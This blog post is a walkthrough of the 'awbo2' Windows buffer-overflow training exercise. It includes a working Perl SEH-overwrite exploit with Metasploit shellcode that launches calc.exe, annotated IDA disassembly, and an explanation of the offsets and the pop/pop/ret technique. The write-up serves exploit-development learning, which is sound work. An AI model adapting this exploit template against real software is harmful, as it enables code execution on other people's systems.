Saturday, July 2, 2011

Advanced Windows Buffer Overflows: awbo2

awbo2.exe.

#!/usr/bin/perl -w

# windows/exec - 121 bytes
# http://www.metasploit.com
# EXITFUNC=seh, CMD=calc.exe
$shellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" .
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" .
"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" .
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" .
"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" .
"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" .
"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" .
"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

$filler = "A" x 1076;
$nseh = "\xeb\x06\x90\x90"; # jmp 6
$seh = "\x57\x19\xe8\x77"; # pop pop ret from kernel32.dll
$nops = "\x90\x90\x90\x90";

print $filler . $nseh . $seh . $nops . $shellcode;

main() sets aside 1028 (404h) bytes for a buffer, calls gets(), then printf(). Here is a snippet of IDA output:

; function prologue
push ebp
mov ebp, esp

; set aside 1028 bytes for a buffer
sub esp, 404h

...

; load address of the buffer into eax
lea eax, [ebp+var_404]

; copy this address to ebp-4, which is also buffer[1024]
mov [ebp+var_4], eax

; load address of the buffer into ecx
lea ecx, [ebp+var_404]

; push ecx onto the stack
push ecx

; call gets()
call _gets

; clean up stack after gets()
add esp, 4

; move the address from ebp-4/buffer[1024] into edx
mov edx, [ebp+var_4]

; push edx onto the stack
push edx

; push format string onto the stack
push offset aYouSentMeS ; "You sent me: %s"

; call printf()
call _printf

On my way to overwriting main's saved EIP, I overwrite the address of buffer which is placed at ebp-4/buffer[1024]. This turn's the printf into something like

printf("blah %s", *0x41414141);

which causes an exception and the program to exit. I couldn't figure out a proper value to overwrite this saved address with to allow main to return and since I have an exception to work with, I tried a SEH based exploit.

Using Metasploit's pattern_create.rb and pattern_offset.rb I was able to determine that the first SEH record could be overwritten with 1084 bytes--next SEH record starts at 1076 and the handler function pointer starts at 1080.

Following the generic SEH exploit template, I overwrote the handler's function pointer with an address to a pop/pop/ret series of instructions in kernel32.dll which causes the contents of the next SEH record pointer to be placed in EIP and executed. In the next SEH record pointer, I placed a jmp 6 instruction to jump over the rest of the next SEH record pointer+SEH handler to a small NOP slide and shellcode.

No comments:

Post a Comment